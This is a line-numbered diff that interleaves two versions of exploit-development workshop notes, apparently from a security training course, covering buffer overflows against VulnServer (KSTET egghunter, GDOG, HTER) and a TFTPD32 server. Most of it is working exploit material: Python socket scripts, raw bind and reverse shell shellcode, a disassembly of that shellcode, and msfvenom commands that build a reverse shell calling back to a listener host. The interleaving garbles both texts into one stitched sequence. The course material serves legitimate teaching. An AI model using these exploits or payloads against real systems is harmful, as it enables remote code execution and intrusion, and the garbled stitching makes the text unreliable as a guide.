- The hex code of JMP SHORT instruction is 0xeb. The second byte tells us, how many bytes to jump. If this byte is lower than 0x80, it jumps forward. If the value is greater than or equal with 0x80, it jumps backward. Obviously it can jump no more than 127 byte.
517-
GET /AAAAAAAAAAA...225...AAAAAAAAAA[ EIP ]$egghunter HTTP/1.0
517+
518-
User-Agent: ABBAABBA LARGE SHELLCODE (Alpha2 encoded)
518+
- We do not need to know the code if we use OllyDbg. Simply double click on the 0178f9e0 line and write in the box JMP SHORT and the address of the position where it should jump.
519
520
 - Great! The two hex codes are 0xeb and 0xb8. Update the script with them and also add the egghunter code to it.
521
522
- The updated code:
523-
-----sws3.py-----
523+
524-
#!/usr/bin/python2
524+
--------------------------Code--------------------------------
525
526-
import os # for output setting
526+
#!/usr/bin/python
527-
import sys 
527+
528-
import struct # for pack function
528+
529
import os
530-
# turn off output buffer and set binary mode
530+
531-
sys.stdout = os.fdopen(sys.stdout.fileno(), 'wb', 0)
531+
532
533
534-
pad = "A" * 225        # distance to EIP
534+
egghunter = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x54\x30\x30\x57\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"
535-
eip = 0x7e429353       # replace EIP to point to "jmp esp" from user32.dll
535+
536
537-
egghunter = "\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74"
537+
# 62501205 from essfunc.dll	JMP ESP
538-
egghunter += "\xEF\xB8\x41\x42\x42\x41\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7"
538+
539
# eb b8		jmp short
540-
shellcode = "\xCC" * 700
540+
541
buffer = "KSTET /.:/" + egghunter + "\xCC" * (66 - len(egghunter)) + "\x05\x12\x50\x62" + "\xeb\xb8" + "C" * (5011 - 66 - 4 - 2)
542-
buf = "GET /"
542+
543-
buf += pad + struct.pack('<I', eip) + egghunter
543+
expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
544-
buf += " HTTP/1.0\r\n"
544+
expl.connect(('127.0.0.1', 9999))
545-
buf += "User-Agent: ABBAABBA"
545+
expl.recv(100)
546-
buf += shellcode
546+
expl.send(buffer)
547-
buf += " HTTP/1.0\r\n"
547+
expl.close()
548
549-
sys.stdout.write(buf)
549+
-------------------------------------------------------------
550-
-----
550+
551
552-
############################################
552+
2. Place shellcode with egghunter into the memory
553-
# Lab 2b: Not Enough Space (Negative Jump) #
553+
554-
############################################
554+
- We have a few command we can send to VulnServer. One of them might be good for our purpose and keeps the shellcode in memory. We update our code, so that it sends a command with a parameter, where the parameter is our shellcode with the egg. Then we send the KSTET command with our crafted buffer. When the buffer overflow is triggered, we search the memory for the egg. If we find it, then the command is good. This is a trial and error process.
555
556
- GDOG command keeps the passed parameter in the memory. The updated shellcode:
557
558-
cd C:\Documents and Settings\strategic security\Desktop\ED-Workshop-Files\Lab2a\modjk_skeleton
558+
--------------------------Code--------------------------------
559
560
#!/usr/bin/python
561
562-
[pad = distance_to_seh - len(shellcode) ] [ shellcode] [jmp4 = "\x90\x90\xEB\x04"] [eip (pop pop ret)] [jmp_min = "\xE9\x98\xEF\xFF\xFF"]
562+
563
import os
564-
									^
564+
565-
1 ----------------------1 overflow the buffer---------------------------|
565+
566-
									
566+
567-
									^		             ^
567+
568-
									| 
568+
569-
									2 ----jump over seh record---|
569+
shellcode =  ""
570
shellcode += "\xdb\xd1\xd9\x74\x24\xf4\x5a\x2b\xc9\xbd\x0e\x55\xbd"
571-
												     ^				^	
571+
shellcode += "\x38\xb1\x52\x31\x6a\x17\x83\xc2\x04\x03\x64\x46\x5f"
572-
												     |
572+
shellcode += "\xcd\x84\x80\x1d\x2e\x74\x51\x42\xa6\x91\x60\x42\xdc"
573-
												     3--POP 2 words off stack---|
573+
shellcode += "\xd2\xd3\x72\x96\xb6\xdf\xf9\xfa\x22\x6b\x8f\xd2\x45"
574
shellcode += "\xdc\x3a\x05\x68\xdd\x17\x75\xeb\x5d\x6a\xaa\xcb\x5c"
575-
																	^					
575+
shellcode += "\xa5\xbf\x0a\x98\xd8\x32\x5e\x71\x96\xe1\x4e\xf6\xe2"
576-
4 -----negative jump into NOPs - then into shellcode -----------------------------------------------------------------------------------|
576+
shellcode += "\x39\xe5\x44\xe2\x39\x1a\x1c\x05\x6b\x8d\x16\x5c\xab"
577
shellcode += "\x2c\xfa\xd4\xe2\x36\x1f\xd0\xbd\xcd\xeb\xae\x3f\x07"
578
shellcode += "\x22\x4e\x93\x66\x8a\xbd\xed\xaf\x2d\x5e\x98\xd9\x4d"
579-
#########################################
579+
shellcode += "\xe3\x9b\x1e\x2f\x3f\x29\x84\x97\xb4\x89\x60\x29\x18"
580-
# Lab 2c: Not Enough Space (Trampoline) #
580+
shellcode += "\x4f\xe3\x25\xd5\x1b\xab\x29\xe8\xc8\xc0\x56\x61\xef"
581-
#########################################
581+
shellcode += "\x06\xdf\x31\xd4\x82\xbb\xe2\x75\x93\x61\x44\x89\xc3"
582
shellcode += "\xc9\x39\x2f\x88\xe4\x2e\x42\xd3\x60\x82\x6f\xeb\x70"
583
shellcode += "\x8c\xf8\x98\x42\x13\x53\x36\xef\xdc\x7d\xc1\x10\xf7"
584
shellcode += "\x3a\x5d\xef\xf8\x3a\x74\x34\xac\x6a\xee\x9d\xcd\xe0"
585-
cd C:\Documents and Settings\strategic security\Desktop\ED-Workshop-Files\Lab2c\tftpd_skeleton
585+
shellcode += "\xee\x22\x18\xa6\xbe\x8c\xf3\x07\x6e\x6d\xa4\xef\x64"
586
shellcode += "\x62\x9b\x10\x87\xa8\xb4\xbb\x72\x3b\x7b\x93\x7e\x39"
587
shellcode += "\x13\xe6\x7e\x2c\xb8\x6f\x98\x24\x50\x26\x33\xd1\xc9"
588
shellcode += "\x63\xcf\x40\x15\xbe\xaa\x43\x9d\x4d\x4b\x0d\x56\x3b"
589-
On the Strategicsec-XP-ED-Target-VM VM
589+
shellcode += "\x5f\xfa\x96\x76\x3d\xad\xa9\xac\x29\x31\x3b\x2b\xa9"
590
shellcode += "\x3c\x20\xe4\xfe\x69\x96\xfd\x6a\x84\x81\x57\x88\x55"
591-
- open a command prompt
591+
shellcode += "\x57\x9f\x08\x82\xa4\x1e\x91\x47\x90\x04\x81\x91\x19"
592-
- c:\software\tftpd32
592+
shellcode += "\x01\xf5\x4d\x4c\xdf\xa3\x2b\x26\x91\x1d\xe2\x95\x7b"
593-
- run tftpd32.exe
593+
shellcode += "\xc9\x73\xd6\xbb\x8f\x7b\x33\x4a\x6f\xcd\xea\x0b\x90"
594-
- UDP port 69
594+
shellcode += "\xe2\x7a\x9c\xe9\x1e\x1b\x63\x20\x9b\x2b\x2e\x68\x8a"
595-
(socket code is already in the scripts)
595+
shellcode += "\xa3\xf7\xf9\x8e\xa9\x07\xd4\xcd\xd7\x8b\xdc\xad\x23"
596
shellcode += "\x93\x95\xa8\x68\x13\x46\xc1\xe1\xf6\x68\x76\x01\xd3"
597
598
egghunter = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x54\x30\x30\x57\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"
599
600-
On your attack host please install:
600+
egg = "\x54\x30\x30\x57"	# 0x57303054
601
602
603-
  NASM - Netwide Assembler
603+
# 62501205 from essfunc.dll	JMP ESP
604
605
# eb b8		jmp short
606
607
buffer = "KSTET /.:/" + egghunter + "\xCC" * (66 - len(egghunter)) + "\x05\x12\x50\x62" + "\xeb\xb8" + "C" * (5011 - 66 - 4 - 2)
608
609-
-----------------------------------------------------------------------------------------------------------------
609+
expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
610
expl.connect(('127.0.0.1', 9999))
611
expl.recv(100)
612-
We want to generate the shellcode (BIND SHELL on Port 4444)
612+
613-
- No restricted characters
613+
expl.send("GDOG " + egg + egg + shellcode)
614-
- Encoder: NONE
614+
expl.recv(1024)
615
616-
Create a Python file called dumpshellcode.py
616+
expl.send(buffer)
617
expl.close()
618-
---
618+
619-
#!/usr/bin/python2
619+
--------------------------------------------------------------
620
621
622
- The memory can be searched in OllyDbg for a pattern. The memory where the our egg code resides
623-
import struct
623+
624
625
626-
# win32_bind -  EXITFUNC=seh LPORT=4444 Size=317 Encoder=None http://metasploit.com
626+
627-
shellcode = "\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45"
627+
You can download the attack scripts from today from here:
628-
shellcode += "\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49"
628+
629-
shellcode += "\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d"
629+
630-
shellcode += "\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66"
630+
Quick challenge:
631-
shellcode += "\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61"
631+
Your task is to convert the Easy File Sharing Web Server 7.2 exploit (https://www.exploit-db.com/exploits/39008/) to the multiple script format used with vulnserver and SLMail on your Windows 7 host machine. Email both the scripts and a word document with screenshots detailing how you took the script from exploit-db.com and converted it to the multiple script format on Windows 7. Send both the scripts and the word document to Kofo and Ivana (kofogt@infosecaddicts.com, and ivana@strategicsec.com) in order to receive your CPEs from this class.
632-
shellcode += "\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40"
632+
633-
shellcode += "\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32"
633+
634-
shellcode += "\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6"
634+
635-
shellcode += "\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09"
635+
636-
shellcode += "\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0"
636+
637-
shellcode += "\x66\x68\x11\x5c\x66\x53\x89\xe1\x95\x68\xa4\x1a\x70\xc7\x57\xff"
637+
638-
shellcode += "\xd6\x6a\x10\x51\x55\xff\xd0\x68\xa4\xad\x2e\xe9\x57\xff\xd6\x53"
638+
639-
shellcode += "\x55\xff\xd0\x68\xe5\x49\x86\x49\x57\xff\xd6\x50\x54\x54\x55\xff"
639+
640-
shellcode += "\xd0\x93\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff\xd0\x66\x6a\x64"
640+
641-
shellcode += "\x66\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89"
641+
*****************************************************
642-
shellcode += "\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93\x8d\x7a\x38\xab"
642+
* Vulnserver – HTER command buffer overflow exploit *
643-
shellcode += "\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x44\xff\xd6\x5b\x57\x52\x51"
643+
*****************************************************
644-
shellcode += "\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53"
644+
645-
shellcode += "\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x57\xfc\x83\xc4\x64\xff\xd6"
645+
- HTER command of VulnServer has a vulnerability. Let us try to create an exploit for this vulnerability.
646-
shellcode += "\x52\xff\xd0\x68\xf0\x8a\x04\x5f\x53\xff\xd6\xff\xd0"
646+
647
 
648-
sys.stdout.write(shellcode)
648+
649-
---
649+
- The PoC python script:
650
651
--------------------------Code--------------------------------
652
653-
python dumpshell.py > bindshell.bin
653+
#!/usr/bin/python
654
655-
copy bindshellcode.bin into the "c:\Program Files\nasm" directory
655+
656
import os
657
import sys
658
659-
Here we saved the raw shellcode generated by metasploit into a file called bindshell.bin
659+
buffer = "HTER " + "A" * 2106
660-
317 bindshell.bin
660+
661
expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
662
expl.connect(('127.0.0.1', 9999))
663
expl.recv(100)
664-
C:\Program Files\nasm>ndisasm -b 32 bindshell.bin
664+
expl.send(buffer)
665
expl.close()
666
667-
00000000  FC                cld
667+
------------------------------------------------------------
668-
00000001  6AEB              push byte -0x15
668+
669-
00000003  4D                dec ebp
669+
- The script sends A characters. However the EIP is overwritten with 0xAAAAAAAA, instead of 0x41414141.
670-
00000004  E8F9FFFFFF        call dword 0x2
670+
671-
00000009  60                pushad
671+
- It seems our buffer is somehow converted into hex byte array. Let us make a test, send a byte which contains 0123456789abcdef twice and check it in the memory. The buffer:
672-
0000000A  8B6C2424          mov ebp,[esp+0x24]
672+
673-
0000000E  8B453C            mov eax,[ebp+0x3c]
673+
   buffer = “HTER ” + “0123456789abcdef0123456789abcdef” + “A” * 2106
674-
00000011  8B7C0578          mov edi,[ebp+eax+0x78]
674+
675-
00000015  01EF              add edi,ebp
675+
676-
00000017  8B4F18            mov ecx,[edi+0x18]
676+
- Our hypothesis seems to correct, however the first “0” character was removed. Let us change “HTER” to “HTER 0“. Now the shellcode can be appended right after this string.
677-
0000001A  8B5F20            mov ebx,[edi+0x20]
677+
678-
0000001D  01EB              add ebx,ebp
678+
679-
0000001F  49                dec ecx
679+
1. Identify the position of EIP
680-
00000020  8B348B            mov esi,[ebx+ecx*4]
680+
681-
00000023  01EE              add esi,ebp
681+
- We cannot use the Metasploit module, because the buffer is converted and it would not work. We have to use a different method. We can send a crafted buffer which contains only 0-9 and a-f characters and check the EIP. I use the same PoC script and only show you how the buffer is created.
682-
00000025  31C0              xor eax,eax
682+
683-
00000027  99                cdq
683+
- The first iteration:
684-
00000028  AC                lodsb
684+
685-
00000029  84C0              test al,al
685+
buffer = “HTER 0”
686-
0000002B  7407              jz 0x34
686+
687-
0000002D  C1CA0D            ror edx,0xd
687+
buffer += “1” * 200
688-
00000030  01C2              add edx,eax
688+
buffer += “2” * 200 
689-
00000032  EBF4              jmp short 0x28
689+
buffer += “3” * 200 
690-
00000034  3B542428          cmp edx,[esp+0x28]
690+
buffer += “4” * 200 
691-
00000038  75E5              jnz 0x1f
691+
buffer += “5” * 200 
692-
0000003A  8B5F24            mov ebx,[edi+0x24]
692+
buffer += “6” * 200 
693-
0000003D  01EB              add ebx,ebp
693+
buffer += “7” * 200 
694-
0000003F  668B0C4B          mov cx,[ebx+ecx*2]
694+
buffer += “8” * 200 
695-
00000043  8B5F1C            mov ebx,[edi+0x1c]
695+
buffer += “9” * 200 
696-
00000046  01EB              add ebx,ebp
696+
buffer += “a” * 200 
697-
00000048  032C8B            add ebp,[ebx+ecx*4]
697+
buffer += “b” * 200 
698-
0000004B  896C241C          mov [esp+0x1c],ebp
698+
buffer += “c” * 200
699-
0000004F  61                popad
699+
700-
00000050  C3                ret
700+
The value of EIP: BBBBBBBB. Great! The position of RET value is after 2000 byte.
701-
00000051  31DB              xor ebx,ebx
701+
702-
00000053  648B4330          mov eax,[fs:ebx+0x30]
702+
703-
00000057  8B400C            mov eax,[eax+0xc]
703+
704-
0000005A  8B701C            mov esi,[eax+0x1c]
704+
- The second iteration:
705-
0000005D  AD                lodsd
705+
706-
0000005E  8B4008            mov eax,[eax+0x8]
706+
buffer = “HTER 0” + “A” * 2000
707-
00000061  5E                pop esi
707+
708-
00000062  688E4E0EEC        push dword 0xec0e4e8e
708+
buffer += “1” * 20
709-
00000067  50                push eax
709+
buffer += “2” * 20 
710-
00000068  FFD6              call esi
710+
buffer += “3” * 20 
711-
0000006A  6653              push bx
711+
buffer += “4” * 20 
712-
0000006C  66683332          push word 0x3233
712+
buffer += “5” * 20 
713-
00000070  687773325F        push dword 0x5f327377
713+
buffer += “6” * 20 
714-
00000075  54                push esp
714+
buffer += “7” * 20 
715-
00000076  FFD0              call eax
715+
buffer += “8” * 20 
716-
00000078  68CBEDFC3B        push dword 0x3bfcedcb
716+
buffer += “9” * 20 
717-
0000007D  50                push eax
717+
buffer += “a” * 20
718-
0000007E  FFD6              call esi                     PART 1
718+
719-
00000080  5F                pop edi
719+
The value of EIP: 33333333. Great! The position of RET value is after 2040 byte.
720-
00000081  89E5              mov ebp,esp
720+
721-
00000083  6681ED0802        sub bp,0x208
721+
722-
00000088  55                push ebp
722+
723-
00000089  6A02              push byte +0x2
723+
- The third iteration:
724-
0000008B  FFD0              call eax
724+
725-
0000008D  68D909F5AD        push dword 0xadf509d9
725+
buffer = “HTER 0” + “A” * 2040
726-
00000092  57                push edi
726+
727-
00000093  FFD6              call esi
727+
buffer += “1” * 2
728-
00000095  53                push ebx
728+
buffer += “2” * 2 
729-
00000096  53                push ebx
729+
buffer += “3” * 2 
730-
--------------------------------------------CUTCUTCUTCUTCUT----8<---8<---8<---
730+
buffer += “4” * 2 
731-
00000097  53                push ebx
731+
buffer += “5” * 2 
732-
00000098  53                push ebx
732+
buffer += “6” * 2 
733-
00000099  53                push ebx
733+
buffer += “7” * 2 
734-
0000009A  43                inc ebx
734+
buffer += “8” * 2 
735-
0000009B  53                push ebx
735+
buffer += “9” * 2 
736-
0000009C  43                inc ebx
736+
buffer += “a” * 2
737-
0000009D  53                push ebx                       PART 2
737+
738-
0000009E  FFD0              call eax
738+
- The value of EIP: 44332211. Great! We found the position of the bytes which will be written into EIP.
739-
000000A0  6668115C          push word 0x5c11
739+
740-
000000A4  6653              push bx
740+
741-
000000A6  89E1              mov ecx,esp
741+
742-
000000A8  95                xchg eax,ebp
742+
- Test it with the following script:
743-
000000A9  68A41A70C7        push dword 0xc7701aa4
743+
744-
000000AE  57                push edi
744+
--------------------------Code--------------------------------
745-
000000AF  FFD6              call esi
745+
746-
000000B1  6A10              push byte +0x10
746+
#!/usr/bin/python
747-
000000B3  51                push ecx
747+
748-
000000B4  55                push ebp
748+
749-
000000B5  FFD0              call eax
749+
750-
000000B7  68A4AD2EE9        push dword 0xe92eada4
750+
751-
000000BC  57                push edi
751+
752-
000000BD  FFD6              call esi
752+
753-
000000BF  53                push ebx
753+
buffer = "HTER 0" + "A" * 2040 + "42424242" + "A" * (4106 - 1 - 2040 - 8)
754-
000000C0  55                push ebp
754+
755-
000000C1  FFD0              call eax
755+
expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
756-
000000C3  68E5498649        push dword 0x498649e5
756+
expl.connect(('127.0.0.1', 9999))
757-
000000C8  57                push edi
757+
expl.recv(100)
758-
000000C9  FFD6              call esi
758+
expl.send(buffer)
759-
000000CB  50                push eax
759+
expl.close()
760-
000000CC  54                push esp
760+
761-
000000CD  54                push esp
761+
-------------------------------------------------------------
762-
000000CE  55                push ebp
762+
763-
000000CF  FFD0              call eax
763+
764-
000000D1  93                xchg eax,ebx
764+
- The value of EIP: 42424242. It works fine! We can control the EIP register.
765-
000000D2  68E779C679        push dword 0x79c679e7
765+
766-
000000D7  57                push edi
766+
767-
000000D8  FFD6              call esi
767+
2. Find value for EIP
768-
000000DA  55                push ebp
768+
769-
000000DB  FFD0              call eax
769+
- The EAX register points to the beginning of our buffer, which starts after the “HTER 0” string. Find a JMP EAX value and update the script. Do not forget, that the address should be in reverse order. Place a breakpoint to the JMP EAX address and check whether the breakpoint is hit.
770-
000000DD  666A64            push word 0x64
770+
771-
000000E0  6668636D          push word 0x6d63
771+
- It works fine again. The final step is to add for example a reverse shell payload to the exploit.
772-
000000E4  89E5              mov ebp,esp
772+
773-
000000E6  6A50              push byte +0x50
773+
774-
000000E8  59                pop ecx
774+
775-
000000E9  29CC              sub esp,ecx
775+
3. Add shellcode to the exploit
776-
000000EB  89E7              mov edi,esp
776+
777-
000000ED  6A44              push byte +0x44
777+
Generate a shellcode with venom and add it to the script.
778-
000000EF  89E2              mov edx,esp
778+
779-
000000F1  31C0              xor eax,eax
779+
--------------------------Type this--------------------------------
780-
000000F3  F3AA              rep stosb
780+
781-
000000F5  FE422D            inc byte [edx+0x2d]
781+
msfvenom -a x86 –platform Windows -p windows/shell_reverse_tcp LHOST=192.168.2.130 LPORT=4444 > shellcode.bin
782-
000000F8  FE422C            inc byte [edx+0x2c]
782+
783-
000000FB  93                xchg eax,ebx
783+
784-
000000FC  8D7A38            lea edi,[edx+0x38]
784+
Hex values can be displayed with hexdump:
785-
000000FF  AB                stosd
785+
786-
00000100  AB                stosd
786+
--------------------------Type this--------------------------------
787-
00000101  AB                stosd
787+
788-
00000102  6872FEB316        push dword 0x16b3fe72
788+
hexdump -C shellcode.bin
789-
00000107  FF7544            push dword [ebp+0x44]
789+
790-
0000010A  FFD6              call esi
790+
791-
0000010C  5B                pop ebx
791+
- This will however not trigger the vulnerability. What is the problem? The shellcode must not contain double zero string (“00”)! Let us generate the shellcode again, but add -b ‘\x00’ to the parameter list of msfvenom.
792-
0000010D  57                push edi
792+
793-
0000010E  52                push edx
793+
--------------------------Type this--------------------------------
794-
0000010F  51                push ecx
794+
msfvenom -a x86 –platform Windows -p windows/shell_reverse_tcp LHOST=192.168.2.130 LPORT=4444 -b ‘\x00’ > shellcode.bin
795-
00000110  51                push ecx
795+
796-
00000111  51                push ecx
796+
797-
00000112  6A01              push byte +0x1
797+
798-
00000114  51                push ecx
798+
- Msfvenom uses shikata_ga_nai encoder automaticaly, because we specified bad characters with the -b option. The final shellcode size is 351 byte. Add it to the script and test it
799-
00000115  51                push ecx
799+
800-
00000116  55                push ebp
800+
--------------------------Code--------------------------------
801-
00000117  51                push ecx
801+
802-
00000118  FFD0              call eax
802+
#!/usr/bin/python
803-
0000011A  68ADD905CE        push dword 0xce05d9ad
803+
804-
0000011F  53                push ebx
804+
805-
00000120  FFD6              call esi
805+
806-
00000122  6AFF              push byte -0x1
806+
807-
00000124  FF37              push dword [edi]
807+
808-
00000126  FFD0              call eax
808+
809-
00000128  8B57FC            mov edx,[edi-0x4]
809+
shellcode = (
810-
0000012B  83C464            add esp,byte +0x64
810+
"bec9d8bc2cd9eed97424f45f2bc9b152"
811-
0000012E  FFD6              call esi
811+
"83c70431770e03bed65ed9bc0f1c223c"
812-
00000130  52                push edx
812+
"d041aad9e141c8aa52729afe5ef9ceea"
813-
00000131  FFD0              call eax
813+
"d58fc61d5d2531105e160133dc655693"
814-
00000133  68F08A045F        push dword 0x5f048af0
814+
"dda5abd21adb4686f397f53677edc5bd"
815-
00000138  53                push ebx
815+
"cbe34d229b027ff5975c5ff474d5d6ee"
816-
00000139  FFD6              call esi
816+
"99d0a1856aae334fa34f9fae0ba2e1f7"
817-
0000013B  FFD0              call eax
817+
"ac5d9401cfe0afd6ad3e25cc16b49d28"
818
"a6197bbba4d60fe3a8e9dc98d562e34e"
819
"5c30c04a04e269cbe045950b4b393340"
820
"662e4e0bef8363b3ef8bf4c0dd14af4e"
821
"6edc698991f7ce056cf82e0cabac7e26"
822-
part1 = "\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45"
822+
"1acd14b6a318bae60bf37b56eca313bc"
823-
part1 += "\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49"
823+
"e39c04bf29b5af3aba7a8746b813da46"
824-
part1 += "\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d"
824+
"adbf53a0a72f327b50c91ff7c1168a72"
825-
part1 += "\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66"
825+
"c19d39838c553797799602c52ca9b861"
826-
part1 += "\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61"
826+
"b2382771bd20f026ea9709a20681a3d0"
827-
part1 += "\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40"
827+
"da578b5001a41259c490304910187d3d"
828-
part1 += "\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32"
828+
"cc4f2bebaa399d4565957701f0d54757"
829-
part1 += "\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6"
829+
"fd333eb74cea07c8617a80b19f1a6f68"
830-
part1 += "\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09"
830+
"242a3a300da3e3a10fae131c53d79794"
831-
part1 += "\xf5\xad\x57\xff\xd6\x53\x53"
831+
"2c2c87dd29680f0e40e1fa30f7022f"
832
)
833
834-
part2 = "\x53\x53\x53\x43\x53\x43\x53\xff\xd0"
834+
# 77DB0BCD from ntdll.dll
835-
part2 += "\x66\x68\x11\x5c\x66\x53\x89\xe1\x95\x68\xa4\x1a\x70\xc7\x57\xff"
835+
836-
part2 += "\xd6\x6a\x10\x51\x55\xff\xd0\x68\xa4\xad\x2e\xe9\x57\xff\xd6\x53"
836+
buffer = "HTER 0" + shellcode + "A" * (2040 - len(shellcode)) + "CD0BDB77" + "A" * (4106 - 1 - 2040 - 8)
837-
part2 += "\x55\xff\xd0\x68\xe5\x49\x86\x49\x57\xff\xd6\x50\x54\x54\x55\xff"
837+
838-
part2 += "\xd0\x93\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff\xd0\x66\x6a\x64"
838+
expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
839-
part2 += "\x66\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89"
839+
expl.connect(('127.0.0.1', 9999))
840-
part2 += "\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93\x8d\x7a\x38\xab"
840+
expl.recv(100)
841-
part2 += "\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x44\xff\xd6\x5b\x57\x52\x51"
841+
expl.send(buffer)
842-
part2 += "\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53"
842+
expl.close()
843-
part2 += "\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x57\xfc\x83\xc4\x64\xff\xd6"
843+
844-
part2 += "\x52\xff\xd0\x68\xf0\x8a\x04\x5f\x53\xff\xd6\xff\xd0"
844+
--------------------------------------------------------------
845
846
847-
STACK SHIFTER:
847+
- This will trigger the vulnerability. Our shellcode starts to execute, but later it causes an exception. Why?
848-
prepend = "\x81\xC4\xFF\xEF\xFF\xFF"  # add esp, -1001h
848+
849-
prepend += "\x44"                     # inc esp
849+
- Check the value of EIP and ESP. EIP is the Instruction Pointer. The CPU executes the instruction, which is on this memory address and increments its value, thus moves to the next instruction. ESP is the Stack Pointer. Stack is a FIFO (First In First Out) and when a value is pushed onto the stack, the value of the ESP is decremented. EIP goes from low to high memory, ESP goes from high to low memory (if new values is being pushed onto the stack.)
850
851
- If EIP is bigger, than ESP, there is no problem as they are moving away from each other. If EIP is lower than ESP, a problem can raise as they go toward each other and the the program code might change if ESP reaches EIP.
852
853
- What is the solution? We have to set the ESP above the EIP. When we jump to the beginning of the shellcode, we can push the value of EAX, then pop this value into ESP. A couple NOP operation might also be necessary
854
855
--------------------------Code--------------------------------
856
857
#!/usr/bin/python
858
859
import socket
860
import os
861
import sys
862
863
864-
---- final script ----
864+
shellcode = (
865
"bec9d8bc2cd9eed97424f45f2bc9b152"
866-
#!/usr/bin/python2
866+
"83c70431770e03bed65ed9bc0f1c223c"
867-
#TFTP Server remote Buffer Overflow
867+
"d041aad9e141c8aa52729afe5ef9ceea"
868
"d58fc61d5d2531105e160133dc655693"
869
"dda5abd21adb4686f397f53677edc5bd"
870
"cbe34d229b027ff5975c5ff474d5d6ee"
871-
import struct
871+
"99d0a1856aae334fa34f9fae0ba2e1f7"
872
"ac5d9401cfe0afd6ad3e25cc16b49d28"
873-
if len(sys.argv) < 2:
873+
"a6197bbba4d60fe3a8e9dc98d562e34e"
874-
	sys.stderr.write("Usage: tftpd.py <host>\n")
874+
"5c30c04a04e269cbe045950b4b393340"
875-
	sys.exit(1)
875+
"662e4e0bef8363b3ef8bf4c0dd14af4e"
876
"6edc698991f7ce056cf82e0cabac7e26"
877-
target = sys.argv[1]
877+
"1acd14b6a318bae60bf37b56eca313bc"
878-
port = 69
878+
"e39c04bf29b5af3aba7a8746b813da46"
879
"adbf53a0a72f327b50c91ff7c1168a72"
880-
eip = 0x7e429353         # jmp esp in USER32.DLL
880+
"c19d39838c553797799602c52ca9b861"
881
"b2382771bd20f026ea9709a20681a3d0"
882-
part1 += "\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45"
882+
"da578b5001a41259c490304910187d3d"
883-
part1 += "\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49"
883+
"cc4f2bebaa399d4565957701f0d54757"
884-
part1 += "\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d"
884+
"fd333eb74cea07c8617a80b19f1a6f68"
885-
part1 += "\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66"
885+
"242a3a300da3e3a10fae131c53d79794"
886-
part1 += "\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61"
886+
"2c2c87dd29680f0e40e1fa30f7022f"
887-
part1 += "\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40"
887+
)
888-
